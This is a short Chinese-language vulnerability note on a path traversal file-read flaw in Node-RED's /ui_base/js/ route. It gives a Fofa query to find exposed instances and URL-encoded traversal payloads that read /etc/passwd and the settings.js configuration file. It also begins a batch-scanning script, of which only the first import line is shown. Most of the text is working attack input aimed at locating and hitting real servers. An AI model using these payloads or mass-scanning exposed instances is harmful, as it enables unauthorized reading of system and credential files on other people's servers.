Node-RED 前台任意文件读取
Node-RED 在/nodes/ui_base.js中,URL与’/ui_base/js/*’匹配,然后传递给path.join,
缺乏对最终路径的验证会导致路径遍历漏洞,可以利用这个漏洞读取服务器上的敏感数据,比如settings.js
漏洞复现-Fofa
1 | title="Node-RED" |
访问页面
验证POC
1 | /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd |
读取配置文件
1 | /ui_base/js/..%2f..%2f..%2f..%2fsettings.js |
漏扫工具
批量验证,存在太多了,简单的说
1 | import requests |